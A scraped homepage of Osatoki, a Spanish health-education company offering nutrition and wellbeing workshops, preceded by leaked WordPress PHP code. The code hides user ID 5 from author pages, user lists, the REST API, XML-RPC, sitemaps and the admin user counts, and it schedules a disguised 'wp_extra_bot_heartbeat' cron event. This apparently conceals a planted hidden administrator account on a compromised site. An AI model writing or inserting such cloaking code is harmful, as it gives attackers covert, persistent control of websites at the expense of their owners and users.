add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Osatoki - Inicio - Osatoki
Saltar al contenido
Trabajamos para
educar en salud
CONÓCENOS
Las personas
y su bienestar
es lo que nos importa
CONÓCENOS
Nuestra meta es
que las personas sumen
años de calidad de vida
CONÓCENOS
Basamos nuestros programas
en las actuales
investigaciones científicas
CONÓCENOS
Desde Osatoki abordamos la promoción en salud ofreciendo distintos servicios a la población.
Desarrollamos talleres
Nuestros talleres son muy diversos. Algunos temas que abordamos son la nutrición, la inteligencia emocional o el Mindfulness.
Impartimos charlas
Las charlas o conferencias se ofrecen a cualquier colectivo interesado en ampliar su formación en salud.
Creamos materiales sobre promoción en salud
Creamos documentación personalizada, material pedagógico, PowerPoints, encuestas, etc.
Consultoría
Elaboramos programas concretos adaptados al cliente elaborando nuestros propios materiales, y adaptándonos a las necesidades concretas del cliente.
Asesoramiento nutricional y psicológico para empresas
Nuestro equipo experto dietista-nutricionista y psicológico, trabaja mano a mano con el departamento de RR.HH., prevención o marketing.
Somos un equipo
especializado
Nos adaptamos
a tus necesidades
Programas basados en las últimas novedades científicas
Sistema pedagógico horizontal
Colaboramos junto con el Área de Salud y Consumo del Ayuntamiento de Bilbao para elaborar un programa de nutrición y hábitos saludables en el entorno educativo
Colaboramos con la fundación BBK Sasoiko para favorecer el envejecimiento activo. Dirigimos talleres de radio sobre salud preventiva y programas intergeneracionales «Las Voces de La Experiencia». El objetivo es que las personas mayores estén activas en su jubilación, y así puedan sumar años de calidad de vida.
Colaboramos con AMPAs cómo las del Colegio P. Andrés de Urdaneta y la Ikastola Iparraguire para ofrecer talleres y seminarios sobre alimentación y hábitos saludables.
Colaboramos con AMPAs cómo las del Colegio P. Andrés de Urdaneta y la Ikastola Iparraguire para ofrecer talleres y seminarios sobre alimentación y hábitos saludables.
Ir a Tienda
Este sitio web utiliza cookies propias y de terceros. Si continuas navegando entendemos que aceptas el uso de estas cookies.